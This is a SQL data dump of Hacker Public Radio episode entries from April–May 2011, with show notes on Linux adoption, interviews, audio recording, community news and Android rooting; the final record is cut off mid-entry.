(706,'2011-04-18','What to do when confronted with a blind person',619,'Some advice for sighted people when encountering a blind person','<ul>\r\n<li>If you are in the way of a blind person say \"hi\" so they know you\'re there.</li>\r\n<li>If a blind person is looking for a seat, tell them where there is a vacant space.</li>\r\n<li>Ask if they need help (warning not all people might appreciate this)</li>\r\n<li>\"See you later\", \"Did you watch this movie\" doesn\'t bother Jonathan but some people may be bothered.</li>\r\n<li>When leading a blind person (across the street), walk normally and let the blind person hang on to your elbow. </li>\r\n</ul>\r\n',161,79,1,'CC-BY-NC-SA','accessibility',0,2375,1),
(707,'2011-04-19','Ubuntu on trial',2254,'Speculation and critique of Ubuntu, and the desktop paradigm as a whole','<p>\r\nToday I try to argue that Ubuntu is no longer necessary, Ubuntu users should explore other Linux paths (probably Debian).\r\n</p>',141,0,1,'CC-BY-NC-SA','ubuntu,linux,desktop,\"desktop environment\"',0,2629,1),
(708,'2011-04-20','Enterprise resource planning',631,'A view of Linux in the Enterprise','<p>\r\nJWP talks about Linux in the Enterprise Space especially in relation to ERP (Enterprise Resource Planning) software.\r\n</p>\r\n',129,0,1,'CC-BY-NC-SA','SAP,\"Enterprise Resource Planning\",ERP,\"Oracle Enterprise Linux\",Novell',0,2257,1),
(709,'2011-04-21','The Language Frontier Episode 3',1456,'Skirlet\'s ep-3 in The Language Frontier miniseries, about the inefficiency of language','<p>The third episode in Skirlet\'s third episode in The Language Frontier miniseries.  This one, about the inefficiency of language.</p>\r\n<p>Listen to this episode in ogg vorbis via <a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-3.ogg\" target=\"_blank\">aesdiopod</a>.</p>',88,48,1,'CC-BY-NC-SA','language,inefficiency,translation,media,medicine,science,literature',0,2249,1),
(710,'2011-04-22','spics on tech',2234,'The Spics on Tech podcast inroduce themselves, and explain how they got into computing','<P>\r\ncontributing content to hpr<br />\r\nintroductions\r\n</P>\r\n\r\n<UL>\r\n<LI>badbit\r\n<UL>\r\n<LI><A HREF=\"https://badbit.blogspot.com/\">https://badbit.blogspot.com/</A>\r\n<LI><A HREF=\"https://en.wikipedia.org/wiki/Mexicali\">https://en.wikipedia.org/wiki/Mexicali</A>\r\n</UL>\r\n<LI>sikilpaake\r\n<UL>\r\n<LI><A HREF=\"https://carlosduarte.info\">https://carlosduarte.info</A>\r\n<LI><A HREF=\"https://vallabien.carlosduarte.info\">https://vallabien.carlosduarte.info</A>\r\n<LI><A HREF=\"https://en.wikipedia.org/wiki/Tijuana\">https://en.wikipedia.org/wiki/Tijuana</A>\r\n<LI><A HREF=\"https://en.wikipedia.org/wiki/Mrida,_Yucatn\">https://en.wikipedia.org/wiki/Mrida,_Yucatn</A>\r\n</UL>\r\n</UL>\r\nreminiscing\r\nc64 and old junk from flea markets\r\nexcuses\r\n<UL>\r\n<LI><A HREF=\"https://en.wikipedia.org/wiki/CONAFE\">https://en.wikipedia.org/wiki/CONAFE</A>\r\n</UL>\r\nhacker practice\r\ncultural studies\r\n<UL>\r\n<LI><A HREF=\"https://en.wikipedia.org/wiki/Cultural_studies\">https://en.wikipedia.org/wiki/Cultural_studies</A>\r\n</UL>\r\nensenada hackerspace\r\n<UL>\r\n<LI><A HREF=\"https://miguelmonroy.com.mx/work/\">https://miguelmonroy.com.mx/work/</A>\r\n</UL>',168,58,1,'CC-BY-NC-SA','computing,linux',0,2463,1),
(711,'2011-04-25','Klaatu and Verbal chat about web2py',483,'Klaatu interviews Verbal about the basics of the web2py framework, and why someone would choose it','<p>At the first Indiana Linux Fest, Klaatu and Verbal sit down to chat about web2py.</p>\r\n\r\n<p>Free codec lover?  Get your ogg <a href=\"https://www.thebadapples.info/audiophile/hpr_verbal.ogg\" target=\"_blank\">here</a>.</p>',78,0,0,'CC-BY-NC-SA','web2py,python,interview,web framework',0,2891,1),
(712,'2011-04-25','Linux Jazz - Recording my Audio',770,'Bariman discusses recording techniques and equipment.','<P>\r\nMy thanks to Pokey and ClaudioM for their kind comments on my first show. \r\n</P>\r\n<P>\r\nRecording . . .<br />\r\nHow I record the show and use Linux in support of my jazz activities and work-flow.<br />\r\nSet up and Gear:<br />\r\nMain microphone - Behringer USB Condenser Microphone C-1U with boom mike stand and  \'pop\' screen.<br />\r\nSennheiser e815S with a Tascam US-100 Audio Interface or Zoom H4n Recorder.<br />\r\nAudio Capture:<br />\r\nBehringer USB mike straight into Audacity on an EeePC.<br />\r\n(Klaatu\'s config file is at <A HREF=\"https://www.thebadapples.info/eastereggs/audacity.cfg.zip\">https://www.thebadapples.info/eastereggs/audacity.cfg.zip</A>)\r\n</P>\r\n<P>\r\nProcessing . . .<br />\r\nLaptops  Asus EeePC 1005HA and a Sony Vaio VGN-BX297.<br />\r\nAll recordings saved as WAV or FLAC files initially.<br />\r\nSpoken part of the show is scripted and each segment recorded separately.<br />\r\nAssembly of segments and audio in Audacity, with adjustments, fades and overlaps, etc.<br />\r\nExported and mixed down into composite, sterio, MP3 file.<br />\r\n</P>\r\n<P>\r\nMusic Production . . .<br />\r\nMusic writing, arranging and composing: Band-In-A-Box 2009 and Sibelius 5 as there is no suitable Linux equivalents.<br />\r\nUsing Virtualbox with Windows XP.<br />\r\nBand-In-A-Box use of sampled sounds for the backing voices.<br />\r\n</P>\r\n<P>\r\nUse of Band-In-A-Box and Sibelius. I just wish there was the equivalent software the Linux to do this kind of thing  I would move there \'in a flash\' if I could find some.\r\n</P>\r\n<P>\r\nOther Activities . . .<br />\r\nProblem with keeping files up to date when using multiple machines.<br />\r\nUse of \'Dropbox\' is my solution.<br />\r\nFolders moved from \'Dropbox\' to large 1TB external drive when projects are complete.<br />\r\n</P>\r\n<P>\r\nNext time . . .<br />\r\nLinux software in the production of websites and other uses.<br />\r\n</P>\r\n<P>\r\nMy website and Blog . . .\r\nAt \'<A HREF=\"https://www.tonydenton.com\">www.tonydenton.com</A>\' and I am on Twitter as \'tonydenton.\'<br />\r\nMy Identica name is \'Bariman\' and I am on IRC, also as \'Bariman.\'<br />\r\n</P>',150,73,1,'CC-BY-NC-SA','linux,music,jazz,recording',0,2421,1),
(713,'2011-04-26','NELF Interview With Matt Lee and Donald Robertson',2240,'Interview with Matt Lee and Donald Robertson of the Free Software Foundation','<P>\r\nPlease consider contributing to the Free Software Foundation.\r\n<A HREF=\"https://www.fsf.org/\">https://www.fsf.org/</A>\r\n</P>\r\n<P>\r\nPlease forgive the audio quality of this recording. Due to the acoustics of the room, and my crappy mic, I had to \"massage\" the recording an awful lot to be able to hear all three people at a reasonable level without overwhelming you with background noise. I did my best.\r\n</P>\r\n<P>\r\nI want to thank Donald and Matt for making it such a great interview. They were firendly, respectful, and kind. I had a great time with them durring the interview, and at the afterparty. They represent the FSF well. \r\n</P>',128,78,1,'CC-BY-NC-SA','interview,nelf',0,2234,1),
(714,'2011-04-27','Interview with Amber Graner',1371,'An interview with Amber Graner about women in tech and open source, and Amber\'s work in Ubuntu','<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n</ul>\r\n\r\n<p>Guests</p>\r\n<ul>\r\n	<li><strong>Amber Graner</strong></li>\r\n</ul>\r\nAmber talks about:\r\n<ul>\r\n	<li>the health of the Ubuntu Women Project (<a href=\"https://ubuntu-women.org/\" target=\"_blank\">Home page</a>)</li>\r\n	<li><a href=\"https://wiki.ubuntu-women.org/\" target=\"_blank\">Ubuntu Women Wiki page</a></li>\r\n	<li><a href=\"https://wiki.ubuntu.com/UbuntuWeeklyNewsletter/\" target=\"_blank\">Ubuntu weekly Newsletter</a></li>\r\n	<li><a href=\"https://ubuntu-user.com/\" target=\"_blank\">Ubuntu User Magazine</a></li>\r\n	<li>American Dairy Goat Association: <a href=\"https://www.goatfestival.com/\" target=\"_blank\">Dairy Goat Festival and Parade of Spindale NC</a></li>\r\n</ul>\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 22mins 51seconds</p>',160,78,1,'CC-BY-NC-SA','Full Circle Podcast',0,2227,1),
(715,'2011-04-28','Interview with StankDawg',3974,'StankDawg interviewed by Ken Fallon','<p>\r\nKen talks to the founder of BinRev and the patron of Hacker Public Radio\r\n</p>',30,78,1,'CC-BY-NC-SA','interview,hpr,history,hosting',0,2650,1),
(716,'2011-05-02','Behind the Scenes at HPR. A community update for the month 2011-04',2365,'HPR Community News for April 2011','<p> Welcome to our new admins Code Cruncher and pokey. Also welcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=160\">Robin Catling</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=161\">Jonathan Nadeau</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=162\">code.cruncher</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=163\">Brad Carter</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=164\">scriptmunkee</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=165\">Bob Evans</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=166\">Disaster Protocol</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=167\">imahuph</a>, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=168\">sikilpaake & badbit</a>. We welcome new hosts.</p> </p> <h3>Show Review</h3> <UL> <li>695 :: Ken Fallon :: Behind the Scenes at HPR.</li> <li>696 :: MrGadgets :: MrGadgets Path toward Linux</li> <li>697 :: Jonathan Nadeau :: Aaron Seigo talks about accessibility in KDE.</li> <li>698 :: code.cruncher :: How I Found Linux</li> <li>699 :: Brad Carter :: r0xy interviews Cap\'n Crunch on cacti radio</li> <li>700 :: MrGadgets :: Tech Tales of April\'s Past</li> <li>701 :: scriptmunkee :: Backing Up Your Data Introduction</li> <li>702 :: Ken Fallon :: 50th anniversary of human space flight</li> <li>703 :: Bob Evans :: My Computer History</li> <li>704 :: Disaster Protocol :: Disaster Protocol: Annoyed!</li> <li>705 :: imahuph :: My first linux box</li> <li>706 :: Jonathan Nadeau :: What to do when confronted with a blind person</li> <li>707 :: Dismal Science :: Ubuntu on trial</li> <li>708 :: JWP :: Enterprise resource planning</li> <li>709 :: Skirlet :: The Language Frontier Episode 3</li> <li>710 :: sikilpaake & badbit :: spics on tech</li> <li>711 :: klaatu :: Klaatu and Verbal chat about web2py</li> <li>712 :: Bariman :: Linux Jazz - Recording my Audio</li> <li>713 :: pokey :: NELF Interview With Matt Lee and Donald Robertson</li> <li>714 :: fullcirclepodcast :: Amber Graner from Ubuntu Women Project</li> <li>715 :: Ken Fallon :: Interview With StankDawg</li> </UL> \r\n\r\n\r\n<p>Hobby Public Radio - Wordpress<br /> \r\nhttps://www.hobbypublicradio.org \r\nRead the posts and give Feedback<br />\r\n<br />\r\nShould we re-license under cc-by-sa ? <br />\r\nDropping the non-commercial <br />\r\n<br />\r\nInterview with stank <br />\r\nThe server has moved <br />\r\nKen used skype call recorder to record the call<br />\r\n<br />\r\nWho got fooled ? <br />\r\nThanks to klaatu, Bradley M. Kuhn and Karen Sandler<br />\r\n<br />\r\n We updated the RSS feed to use [cdata] <br />\r\n<br />\r\nCongratulations to Linux Outlaws on reaching 200<br />\r\nCounting TWAtech we have passed 1015<br />\r\n<br />\r\nOggCamp 11 - we\'ll be there<br />\r\n\r\n<br />\r\n HPR Music is ours - thanks slick0<br />\r\n<br />\r\n What is a syndicated show ? \r\n<br />\r\nThe language frontier is a special case<br />\r\n<br />\r\n HPR Design competition<br />\r\n all get a book Will be mailed out in a week or two<br />\r\n<br />\r\n Will HPR be wanting a booth at SELF this year? <br /><h3>HPR Stickers</h3> <p> <img src=\"https://www.hackerpublicradio.org/promote/hpr_sticker.png\"> </p> <embed type=\"application/x-shockwave-flash\" src=\"https://picasaweb.google.com/s/c/bin/slideshow.swf\" width=\"600\" height=\"400\" flashvars=\"host=picasaweb.google.com&captions=1&hl=en_US&feat=flashalbum&RGB=0x000000&feed=https%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fhackerpublicradio%2Falbumid%2F5580883041542604241%3Falt%3Drss%26kind%3Dphoto%26hl%3Den_US\" pluginspage=\"https://www.macromedia.com/go/getflashplayer\"></embed>',159,47,1,'CC-BY-NC-SA','Community News',0,2698,1),
(717,'2011-05-03','My Switch from Windows to Linux',1515,'Slurry\'s journey towards Linux, through the US Military and Windows Vista','First exposure to Linux on ancient laptop<br />\r\nNext several years into adulthood with Windows<br />\r\nNever ran with crowd / always techie<br />\r\nOpinions formed about Linux<br />\r\nIn spite of fondness, abandonded Linux<br />\r\nSeveral years later 1 yr from retiring<br /> \r\nDooms day - pop up virus explorer web page<br />\r\nAll this arround the time Vista <br />\r\nStuck with XP through Vista debachle<br />\r\nLearned some things about Windows7 proverbial straw<br />\r\nDevising a plan<br />\r\nUbunto on desktop and on wifes laptop<br />\r\nOnly remnants of windows on dual boot desktop<br />\r\nPurchased my own Vista laptop / never booted in Vista<br />\r\nLearned alot using Ubuntu<br />\r\nThats my switch to linux story<br />\r\nMore productive, knowledgeable, satisfied user under Linux',169,0,1,'CC-BY-NC-SA','linux,distrohopping',0,2778,1),
(718,'2011-05-04','How I got into Linux',465,'Brotherred explains how his journey to Linux started with a local Sports radio show','In his first podcast Brotherred talks about how he got into GNU/Linux after seeing a website powered by Linux in approx. 2001. <br />\r\nBought RedHat 9 with PC magazine. <br />\r\nNot all Linux experience was rosy. <br />\r\nStill loves GNU/Linux for playing games, download torrents, and audio/video editing. <br />',171,29,1,'CC-BY-NC-SA','linux',0,2264,1),
(719,'2011-05-05','The Language Frontier Episode 4',1082,'What language reveals about you; linguistics; dead languages','<p>Skirlet discusses what language -- the way you speak and write -- suggests about you as a person.  She provides a basic intro to linguistics, and reviews some dead languages and why they died.</p>\r\n<p>Listen to this episode in ogg vorbis via <a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-4.ogg\" target=\"_blank\">aesdiopod</a>.</p>',88,48,1,'CC-BY-NC-SA','language,neologism,accent,spelling,linguistics,dialect',0,2399,1),
(720,'2011-05-06','CLI Magic',747,'Klaatu interviews deltaRay, creator of CLI Magic and suso.com','<p>Klaatu talks to Mark, aka deltaRay, from CLI Magic and suso.com about the command line, the Indiana Linux Fest, and more!</p>\r\n\r\n<p>Git yer ogg version from <a href=\"https://thebadapples.info/audiophile/hpr_CLImagic.ogg\" targter=\"_blank\">the GNU World Order</a>.</p>',78,0,0,'CC-BY-NC-SA','interviews,bash,command line,sysadmin,system administration',0,2665,1),
(721,'2011-05-08','THEATER OF THE IMAGINATION -- PART 03',1078,'lostnbronx describes Audio Drama and how to make your own','<p></p> \r\n<p>by lostnbronx</p> \r\n<p>-----</p> \r\n<p>SITES MENTIONED:</p> \r\n<p><a href=https://ccmixter.org>ccmixter.org</a></p> \r\n<p><a href=https://www.jamendo.com/>Jamendo</a>\r\n</p> <p><a href=https://magnatune.com/>Magnatune</a></p> \r\n<p><a href=https://podsafeaudio.com/>Podsafe Audio</a></p> \r\n<p><a href=https://creativecommons.org/legalmusicforvideos>A good Creative Commons list of music sites</a></p> \r\n<p><a href=https://www.freesound.org/>Freesound.org</a></p> \r\n<p>-----</p> \r\n<p>MUSIC:</p> \r\n<p><a href=https://ccmixter.org/people/Pitx/profile>Pitx</a></p> \r\n<p><a href=https://ccmixter.org/files/Pitx/11068>Pitx_-_A_year_ago.mp3</a></p> \r\n<p><a href=https://creativecommons.org/licenses/sampling+/1.0/>Creative Commons Sampling Plus (1.0)</a></p> \r\n<p>-----</p> \r\n<p>MY OWN SITE</p>\r\n<p><a href=https://info-underground.net/lnb>lostnbronx</p> ',107,52,1,'CC-BY-NC-SA','\"audio drama\",script',0,2337,1),
(722,'2011-05-09','How I Upgraded My PC - Motherboard',1032,'Claudio recaps episode 1 and covers the what, why, and how of his motherboard purchase.','<P>\r\nIn this episode, Claudio recaps episode 1 and covers the what, why, and how of his motherboard purchase.\r\n</P>\r\n<P>\r\nAnandTech: <A HREF=\"https://www.anandtech.com/show/4025/holiday-2010-system-builders-guide\">https://www.anandtech.com/show/4025/holiday-2010-system-builders-guide</A>\r\n</P>\r\n<P>\r\nAnandTech: <A HREF=\"https://www.anandtech.com/show/3877/asrock-890fx-deluxe-full-review-and-an-investigation-of-thuban-performance-scaling\">https://www.anandtech.com/show/3877/asrock-890fx-deluxe-full-review-and-an-investigation-of-thuban-performance-scaling</A>\r\n</P>\r\n<P>\r\nPhoronix: <A HREF=\"https://www.phoronix.com/scan.php?page=article&item=asrock_880_mobos&num=1\">https://www.phoronix.com/scan.php?page=article&item=asrock_880_mobos&num=1</A>\r\n</P>\r\n<P>\r\nHardware Secrets: <A HREF=\"https://www.hardwaresecrets.com/article/ASRock-890FX-Deluxe4-Motherboard/1094/1\">https://www.hardwaresecrets.com/article/ASRock-890FX-Deluxe4-Motherboard/1094/1</A>\r\n</P>\r\n	',152,57,1,'CC-BY-NC-SA','computers,pc,hardware,pchardware',0,2465,1),
(723,'2011-05-10','How to be a safe computerist',2292,'Preparations and precautions for keeping your computing safe while urban camping','<p>Klaatu brings his Urban Camping series to a close with a discussion of how to be a safe computerist whilst urban camping.  He covers ssh, X Forwarding, tor, tcpdump, and general computer common sense.</p>\r\n\r\n<p>The ogg version is available from <a href=\"https://www.thebadapples.info/audiophile/hpr_urbanCamping_8_final.ogg\" target=\"_blank\">GNU World Order</a>.</p>',78,46,0,'CC-BY-NC-SA','security,\"urban camping\"',0,2703,1),
(724,'2011-05-11','Full Circle Podcast: Ubuntu Manual Project',1386,'Interview with Benjamin Humphrey, team lead of the Ubuntu Manual Project','<p>\r\nFull Circle Podcast: <br />\r\nInterview: Benjamin Humphrey, Ubuntu Manual Project\r\n</p>\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n</ul>\r\n\r\n<p>Guests</p>\r\n<ul>\r\n	<li><strong>Benjamin Humphrey, Editor, Ubuntu Manual Project</strong></li>\r\n</ul>\r\n<p>Site: <a href=\"https://ubuntu-manual.org\">https://ubuntu-manual.org</a><br>\r\nLaunchpad Project home: <a href=\"https://launchpad.net/%7Eubuntu-manual\" target=\"_blank\">https://launchpad.net/~ubuntu-manual</a><br>\r\nBenjamin’s blog: <a href=\"https://humphreybc.wordpress.com/\" target=\"_blank\">https://humphreybc.wordpress.com/</a></p>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 22mins 51seconds</p>',160,0,1,'CC-BY-NC-SA','Full Circle Podcast',0,2138,1),
(725,'2011-05-12','NELF_Review',2172,'Pokey reviews the 2011 Northeast Linuxfest','<P>\r\nNELF 2011 was a blast. Here\'s my take on it.\r\n</P>\r\n<P>\r\nThanks to everyone who made it so much fun.\r\n</P>\r\n<P>\r\nThanks to sponsors: Redhat Enterprise Linux, and Frostbyte systems.\r\n</P>\r\n<P>\r\nThanks to Johnathan and Mrs. Nadeau for making it all happen.\r\n</P>',128,0,1,'CC-BY-NC-SA','conference,nelf,review',0,2320,1),
(726,'2011-05-15','Journey to Linux',1177,'Continuing Mr Gadgets\' journey to Linux','<p>Mr Gadgets continues his journey from Micro Computer to Linux stopping by O/S 2 Warp and Windows 98</p>\r\n\r\n<p>Other shows in this group are:</p>\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=696\">2011-04-04, MrGadgets Path toward Linux</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=726\">2011-05-15, Journey to Linux</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=752\">2011-06-20, My Path to Linux: Knoppix</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=766\">2011-07-10, MrGadgets finds Linux</li>\r\n</ol>\r\n\r\n',155,29,1,'CC-BY-NC-SA','linux,O/S 2 Warp',0,2411,1),
(727,'2011-05-16','HOWTO root and mod an Andr0id phone.',2073,'A description of how to get the control you should already have over an electronic device you own','<p>Klaatu\'s HOWTO root and mod an Andr0id phone.</p>\r\n\r\n<p>Links:</p>\r\n<ul>\r\n<li><a href=\"https://developer.android.com/sdk/index.html\"\r\ntarget=\"_blank\">developer.android.com/sdk</a>\r\n</li>\r\n\r\n<li><a href=\"https://www.addictivetips.com/mobile/what-is-clockworkmod-recovery-and-how-to-use-it-on-android-complete-guide\"\r\ntarget=\"_blank\">addictivetips.com</a></li>\r\n\r\n<li><a href=\"https://www.addictivetips.com/mobile/how-to-install-clockwork-recovery-to-your-android-phone\"\r\n    target=\"_blank\">addictivetips.com/mobile/how-to-install-clockwork-recovery-to-your-android-phone</a></li>\r\n\r\n<li><a href=\"https://wiki.cyanogenmod.com\" target=\"_blank\">cyanogenmod</a></li>\r\n</ul>\r\n\r\n<p>This episode is also available in <a href=\"https://thebadapples.info/audiophile/hpr_cyanogen.ogg\" target=\"_blank\">ogg vorbis</a>.</p>\r\n',78,0,0,'CC-BY-NC-SA','\"Motorola cliq\",cyanogenmod,\"root access\"',0,2452,1),
(728,'2011-05-17','Sex, Race and Open Source',1892,'Two HPR hosts, Dismal Science and Sunzofman1, discuss equality in computing culture','<h3>Hosts:</h3>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=141\">Dismal Science</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=187\">Sunzofman1</a></li>\r\n</ul>\r\n\r\n<p>Today we discuss the role of race and sex within the culture of open source and computing in general.</p>\r\nTopics include the digital divide, wage gaps among the population.<br />\r\nAnd a tip on how to find an open source geek to date!<br />\r\n<p>Contact me @ dismal.science.hpr AT gmail DOT com</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=58\">HPR series: <em>spics on tech</em></a></li>\r\n<li><a href=\"https://summerofcode.withgoogle.com/\">Google Summer of Code</a></li>\r\n</ul>\r\n',170,0,1,'CC-BY-NC-SA','privilege,minorities,\"wage discrimination\"',0,2503,1),
(729,'2011-05-18','Syndicated Thursday: FSP Sam smith, Opentech Conference 2011',1190,'Full Circle interviews Sam Smith, an organizer of Opentech Conference 2011','<p>Hello world and welcome to our on Hacker Public Radio. This episode consists of our interview with Sam Smith, one of the organisers of the Opentech Conference in London this May. My co-host is Les Pounder</p>\r\n<p><a href=\"https://www.ukuug.org/events/opentech2011/\" target=\"_blank\"><strong>OpenTech 2011</strong></a></p>\r\n<p>Saturday 21st May 2011.  (10:45 start)</p>\r\n<p>Union Building, University of London.</p>\r\n<p>Cost: £5 on the door.</p>\r\n<p>Registration <a target=\"_blank\" href=\"https://www.ukuug.org/events/opentech2011/registration/\">via the event website</a></p>\r\n\r\n<p>OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who <a target=\"_blank\" href=\"https://radar.oreilly.com/2009/01/work-on-stuff-that-matters-fir.html\">work on things that matter</a>, guarantees a day of thoughtful talks leading to conversations with friends.</p>\r\n\r\n<p>Some highlights of previous Opentech Conferences<p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=ewfJb-rIwOk\" target=\"_blank\">Ipod shuffle shuffle: Ewan Spence </a></li>\r\n<li><a href=\"just-do-it.org.uk\" target=\"_blank\">just-do-it.org.uk</a></li>\r\n<li><a href=\"chasingspring.co.uk\" target=\"_blank\">chasingspring.co.uk</a></li>\r\n</ul>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n	<li><strong>Les Pounder</strong> (blog at <a href=\"https://lespounder.wordpress.com/\" target=\"_blank\">https://lespounder.wordpress.com/</a>)</li>\r\n</ul>\r\n\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 19mins 50seconds</p>',160,0,1,'CC-BY-NC-SA','Full Circle Podcast',0,2342,1),
(730,'2011-05-19','LFNW: Some Facts and 2 Interviews',1965,'Facts about LFNW, and an interview with some of the organizers.','<p>LinuxFest Northwest Bellingham Facts from Carl Symons:</p>\r\n<ul>\r\n   <li>about 1000 visitors, 738 registered, 350 meals sold on Saturday</li>\r\n   <li>12th year, started in 2000 in a room of 8x8 meters (25x25 feet)</li>\r\n   <li>No president, jsut a team of organizers who meet twice a month</li>\r\n   <li>Non-profit since 4 years</li>\r\n   <li>2 days since 4 years (before it was 1 day)</li>\r\n   <li>Party on Saturday since 2 years</li>\r\n   <li><a href=\"https://linuxfestnorthwest.org/\" target=\"_blank\">https://linuxfestnorthwest.org/</a></li>\r\n</ul>\r\n<p>Interview with Bill Wright about the LinuxFest</p>\r\n<p>Interview with Sabrina Roach from Brown Paper Tickets about 2 interesting radio projects: <a href=\"https://www.prometheusradio.org/\">https://www.prometheusradio.org/</a> and <a href=\"https://knightmozilla.org\">https://knightmozilla.org</a></p>\r\n<p>Let me know if you\'re going to have a table for Hacker Public Radio at a Linuxfest or any other fest, I will send you our PR-Stuff: Tablecloth, Stickers, instructions to order minicards, QR-code books, and T-Shirt sets.</p>\r\n<p>Here  are some <a href=\"https://picasaweb.google.com/hackerpublicradio/HPRAtLinuxFestNorthWest2011\">images</a> of the table at LFNW: </p>',162,78,1,'CC-BY-NC-SA','lfnw,conference',0,2325,1),
(731,'2011-05-22','Klaatu the ubiquity and potential danger of the rm command',1169,'Klaatu explains a creative, more forgiving alternative to the rm command','<p>Klaatu discusses the imbalance between the ubiquity and potential danger of the rm command.  He proposes the alternative command, trash.</p>\r\n\r\n<p>Get this episode in <a href=\"https://www.thebadapples.info/audiophile/hpr_trash_rm.ogg\" target=\"_blank\">ogg vorbis</a>.</p>\r\n\r\n<p>Git the trash shell script from <a href=\"https://www.gitorious.org/trashy\" target=\"_blank\">gitorious.org/trashy</a></p>',78,0,0,'CC-BY-NC-SA','bash,cli,command line,script',0,2340,1),
(732,'2011-05-23','sikilpaake and badbit - spics on tech - episode 02',2369,'spics on tech discuss a local hackerspace, Ubuntu\'s move to Unity, and more.','<p>sikilpaake & badbit - spics on tech - episode 02</p>\r\n<ul>\r\n   <li>ensenada hackerspace (norte lab)</li>\r\n      <li>taller de electrónica para artistas<br />\r\n      miguel monroy<br />\r\n      https://miguelmonroy.com.mx/work/</li>\r\n      <li>hackerspaces.org</li>\r\n      <li>the hacker ethic<br />\r\n      https://en.wikipedia.org/wiki/the_hacker_ethic</li>\r\n      <li>nortec<br />\r\n      https://en.wikipedia.org/wiki/nortec</li>\r\n</ul>\r\n<p>hacker meetings, workshops & spaces</p>\r\n<ul><li>2600<br />\r\n   https://www.2600.com/<br />\r\n   </li><li>shdh<br />\r\n   https://shdhmid.pbworks.com/w/page/39648441/shdh-mid-05<br />\r\n   </li><li>tequila valley<br />\r\n   https://www.tequilavalley.com/<br />\r\n   </li><li>protolab<br />\r\n   https://protolab.ws/site/<br />\r\n   </li><li>sdhacklab<br />\r\nhttps://bang.calit2.net/sdhacklab/</li> </ul>\r\n<p>kindle unexploited features and jailbreaking<br />\r\n   screensavers, fonts, usb networking<br />\r\n   microphone</p>\r\n<p>game boy flash cartridge, lsdj, chiptunes<br />\r\n   https://www.littlesounddj.com/lsd/<br />\r\n   https://blog.gg8.se/images/camvliez/gmb-0001.gif<br />\r\n   minimalist composers<br />\r\n   brian eno<br />\r\n   stockhauses<br />\r\n   philip glass</p>\r\n<p>ubuntu 11.04</p>\r\n   <ul><li>upgrading<br />\r\n   </li><li>unity sucks<br />\r\n   https://is.gd/fgshwa<br />\r\n   </li><li>shuttleworth boxing the project in, à la steve jobs<br />\r\n   https://is.gd/r8jydh<br />\r\n   </li><li>what was so bad with gnome3?<br />\r\n   https://is.gd/xiadoh<br />\r\n   </li><li>wayland<br />\r\n   https://is.gd/w5pvgv<br />\r\n   an improvement but just too young<br />\r\n   probably lacks a lot of historical functions that most people in ubuntu haven\'t realized it needs<br />\r\n   on openbsd & freebsd will have to wait for eventual kernel mode setting<br />\r\n   https://is.gd/xtaghe support</li></ul>\r\n<p>al quaeda security measures</p>\r\n<p>contact<br />\r\n   sikilapakee<br 